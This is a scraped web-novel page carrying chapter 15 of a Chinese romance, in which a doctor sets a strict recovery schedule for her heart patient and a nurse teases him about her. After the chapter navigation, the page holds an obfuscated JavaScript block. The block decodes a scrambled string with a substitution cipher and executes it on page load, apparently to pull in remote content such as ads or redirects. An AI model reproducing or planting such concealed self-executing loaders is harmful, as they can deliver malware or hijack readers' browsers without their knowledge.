返回

我的霸道病人

首页
关灯
护眼
字体:
第十五章 新的作息表
(手机请访问 m.duxs8.com); 第十五章新的作息表

蔺修言回到医院的第一天,展洁就为他做了个全身检查。

不止是心脏,他身体的各个方面她都仔仔细细的检查了一遍。

早在意识到蔺修言的工作环境和压力后,展洁就一直怀疑他的身体状况可能远比看到的更糟糕。她一直在害怕他也许不仅仅只有心脏方面有问题,还有其他的地方说不定也存在着隐疾,只是蔺修言并没有意识到,或者说,他意识到了却没有如实的说出来。

一番检查做下来耗时整整一天,蔺修言乖乖的躺在仪器内任她所为,中途没有报怨过半句。他乖巧安静的模样与之刻薄毒舌简直是判若两人,让一旁的许婧不禁瞪大了眼,心里暗暗直骂他重色轻友。

不过好在蔺修言除了心脏外便只有一点慢性胃炎,其他的身体机能还算良好,这让展洁一直悬着的心终于可以稍稍松了口气。

心漏手术虽然不难但过程却漫长,在这漫长的过程里考验的不仅仅只有医生的医术,更重要的是病人自己本身的抵抗力和承受力。

她最怕的就是蔺修言会因身体过度虚弱,体力不支,而熬不过那漫长的手术。

所以,为了能将他的身体各项机能调整到最佳状态,以便可以随时接受手术,展洁用了一个晚上的时间,特意为他制定一套严谨而科学的作息时间表。

这其中就包括了他每天看书的时间绝对不允许超过五个小时,只能是在早饭后的两小时,和午休后的三小时这段时间内看一会书,而其他的时间,他除了睡觉,就是吃饭。

她还刻意强调了,在晚饭后严禁蔺修言从事与工作相关的任何事情,最晚十点前,他必须入睡。

不过,为了不影响蔺修言在学校里的正常工作,她允许他可以每周二和周三的上午回学校上课,但晚饭前必须回医院。

作息表制定好的第二天一清早,她就慎重的将它交到了蔺修言的手里。而蔺修言拿着作息表,看着上面密密麻麻的数十条规定,思索了半天也不说一句话,只是摸着下巴若有所思的浅笑着。

恐怕接下来的一段时间里,展洁会深刻的体会到‘梦想很丰满,现实很骨感’这句话的真谛。

虽然现在他看似是在医院里静养,但该做的事情可是一件都少不了,他岂会天真的相信,他们真的会让他无所事事的在医院静休一个月。

“哟,这一大清早的,什么事情能让您蔺大教授笑得这么阴险。”许婧手捧着点滴走进病房,一入眼就看到蔺修言一个人坐在病床上一副有所图谋的模样,眉眼中带着奸诈,笑意里透着狡猾,怎么看,怎么觉得他笑得好像只狐狸。

“阴险吗?”蔺修言摸了摸自己的脸,好像的确是阴险了一点。

“可不是吗?要笑不笑,似笑非笑,一整个皮笑肉不笑,还外加笑里藏刀,你这表情也太复杂了。唉,你可要注意啦,记得以后千万别对着咱们展医生这么冷笑着,否则非把人家给吓跑了不可。到那时候,你可千万别哭啊。”

许婧一边打趣着,一边娴熟的在他手背上擦拭碘酒消毒,为他做输液的准备,忙碌之余,能说会道的一张嘴半点都带不饶人的。

“许阿姨,她可没你想的那么胆小。”蔺修言淡定的斜了许婧一眼,完全不将她的话放在心上。

没错,展洁表面上看起来的确是柔柔弱弱的,但她的骨子里却是一个十分倔强好胜的女生。只要是她认定的事情,即使明知会被撞得头破血流也绝不回头,就像当年她毅然决然抛弃那人人称羡的身份,抛弃这里所有的一切,选择独自去美国念书一样。

“呵!这么快就吃定人家啦,那我们医生也太委屈了。实话告诉你,展医生在我们医院那可是很受欢迎的,不信哪天我介绍几位条件不比你差的男生给她认识,保证个个都比你强,比你温柔。”闲言话语间,许婧已经将药袋挂上架子,针头即稳又准的扎进血管,再伸手用胶带固定好针头,轻而易举的完成了输液工作。

所有动作一气呵成,前后不过半分钟的时间而已。而病人完全感觉不到疼痛,甚至还来不及紧张,她就已经做完了。

其实这也是许婧喜欢说话的原因,她可以从其他方面分散病人的注意力,缓解病人的紧张和压力。

“听说你儿子很喜欢吃巧克力,正好我空里有几盒朋友刚从德国带回来的巧克力味道还不错,要不要改天我送两盒给你儿子尝尝。”蔺修言眉眼不动,用另一支手从旁边的柜子上拿起一本书,似是漫不经心的对许婧说道。

可许婧一听他的话,差点忍不住笑出声来。

这两人果然是一对佳人,连贿赂别人的方法都是一模一样,看来以后他儿子的巧克力,算是有着落了。

“行啊,看在你这么成心成意的份上,我就不跟你计较叫我阿姨的事了,不过要想我放过展医生,你可要多送我几盒巧克力才行。”难得一向损人的蔺修言也有弃械投降的时候,许婧当然要抓信这难得的好机会,准备狠狠的敲上他一笔。

“好,没问题。”蔺修言很是爽快的点头答应了,不过是几盒糖果而已,他才不在乎呢。

“这样你都答应?看来这展医生在你心里的位置还挺重要的。”许婧一愣,有点意外蔺修言的唯听是从。

当然这几盒巧克力并不足为重,重要的却是,蔺修言从不服输的性子如今居然改了,而且还改得干净利落,半点不犹豫。

蔺修言只是淡笑不语,手指有一下没一下的敲打着书本。她在他心里的地位何止是重要,恐怕她会是他此生唯一敢去信任,并心甘情愿将自己的命将到她手里的人。

那些人也是知晓了这一点,才会不惜代价的将她骗回来。

“婧姐,早。”

展洁一身白大褂的走进病房,微笑的向许婧打招呼。

完全进入到工作状态里的展洁与在学校里的模样可谓判若两人,穿上白大补的她在外人面前依旧是一副冰雪女王的姿态,低挽的发髻,老气的黑框眼睛,一言一行沉稳老练,说话做事绝不负她天才医生的头衔,让人觉得高不可攀,从而对她敬而远之。

“早上好!展医生,你今天来得还真挺早的,害得我少要了许多东西。”许婧抿嘴一笑,语带外音的对展洁打趣道。

“什么东西?”展洁疑惑不解的看了看笑得暧昧十足的许婧,又看了看面色沉静如水的蔺修言,一时没听明白他们究竟在说些什么。

“没什么,我们正在再聊巧克力罢了。”蔺修言手边放下书,长眸半眯的对许婧说:“许阿姨,一会我让人给你送去。”

“不急,不急。那我先出去工作,就不打扰你们两个了。”许婧也是聪明人,懂得见好就收的道理,况且蔺修言可不是其他人,真要是把他惹毛了,那可不是几盒巧克力就能解决的事。

展洁等到许婧走出病房后才问疑声又问道:“你跟婧姐究竟在聊什么,刚才在门外我怎么好像听到了自己的名字。”

“没做什么,不过是今天早上我无意间想起来,家里有几盒过年时朋友送的德国巧克力,想到你爱吃甜的,就准备让小白带来医院送给你。正好护士长说她儿子也喜欢吃巧克力,我就顺便送了她几盒。”蔺修言面不改色的对展洁胡诌着,而关于许婧说要给她介绍男人的事只字不提。

她只要认识他这一个男人就够了,其他人在她眼里只能是标本或实验体。

“是吗?”展洁依旧将信将疑,怎么刚才她看许婧笑意不明的神色完全不是这么一回事呢。

“嗯。”蔺修言轻哼了声,拉过她的手,有意岔开这个话题的问道:“你今天很忙吗?”

“有点忙,等会查完房后我要去急诊室一趟,他们昨天晚上收了一个心脏骤停的病人,今天得要转进icu病房监护,我要去接收一下。另外下午还有一个心瓣膜手术,所以今天白天我会比较忙一些,可能会顾不上你,你要是有事就找婧姐。”展洁一边说着自己的工作安排,一边开始为蔺修言检查心脏。

“没事,你忘了,今天周二,一会吃过早饭我也去学校上课,而且下午还有个研讨会,可能也要忙上一整天。”蔺修言四十五度斜躺在病床上,方便展洁为自己检查,虽然衣服下的他依旧消瘦,但经过这两天的休息,他的气色已经有所好转。

“那你别太晚回医院了,还有中午的时候要及时吃饭,不许乱吃垃圾食品,最让周林给你去校外给你买,食堂的东西没营养你尽量少吃。”展洁一心一意专注在他的心跳上,头也不抬的叮嘱着。

周林是蔺修言的两个助理之一,只比蔺修言只小了一岁,跟在他身边已经有三年多的时间,平时主要负责他的饮食和起居。另一个助理叫薜晓晓,是一位女生,原本是蔺修言的学生,大学毕业后就跟在他的身边做助理,属于边学边工作,主要是负责他学校方面的事情。

“好。都听你的。我会早点回来跟你一起吃晚餐。”难得能跟她朝夕相处一个月,蔺修言万分珍惜这个机会,他只想跟她好好的度过这一个月,为自己多留下些愉快的回忆。

如果将来有一天,事情发展到他不得不对她放手的地步,那么有了这些美好的回忆,也足够支撑他渡过下半生了。

“嗯……”收回听诊器,展洁心情愉悦的对他说:“你今天的状况不错,虽然气色还是有点苍白虚弱,但心率已经慢慢恢复正常。”

照这样下去,展洁相信用不了多久蔺修言的身体就能调整到最佳状态,随时都可以上手术台。

当然前提是,他必须同意接受手术才行。

“嗯,你这个名医果然名不虚传。”蔺修言按住她搁在自己胸膛上的手,将她轻轻拉进怀里,笑着说:“看来我的命是有救了。”

“你胡说什么,你的病本来就不复杂,以当今的医疗技术来说心漏手术根本就不算是一个有难度手术,他的失败率只有不到百分之二。只要你的身体状态调整好,随时都可以手术的。”展洁只微微挣扎了一下,便顺从的爬在他的胸口上,微微调整了下姿势,小心的不压着他的心脏。

虽然医院里有明确规定,医生必须跟病人保持距离,但对于蔺修言和她,大家好像都很有默契般的对他们睁一只眼,闭一只眼,虽然也会遇到像许婧长辈般的调侃两句,但好在大家都是善意的,包容的,这也让展洁的胆子慢慢的大了起来。

“嗯,等事情结束了,我就全听你的。”蔺修言的指尖缓缓穿过她的发,在她头顶上柔声低语着:“到时,我的命就是你的了。”

唉……

可展洁听了他的话却没有半点欣喜,只能在心底无声的叹息着。这句话她已经听了不下百遍,院长,还有蔺修言的外公都这么对她说过,只要事情结束了,就可以为蔺修言安排手术。

但他们所说的事情究竟是什么事情,又到底什么时候才可以结束?

还有,最让她担心的是等事情结束后,蔺修言他真的会愿意手术吗?这些展洁都不敢确定,她轻轻依偎在他的怀里,汲取着他的气息和体温,心里没由来得害怕这温暖的怀抱会突然之间凭空消失。

有些东西从未得到过也就罢了,可是有朝一日得到过了,就一定不能容忍失去。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();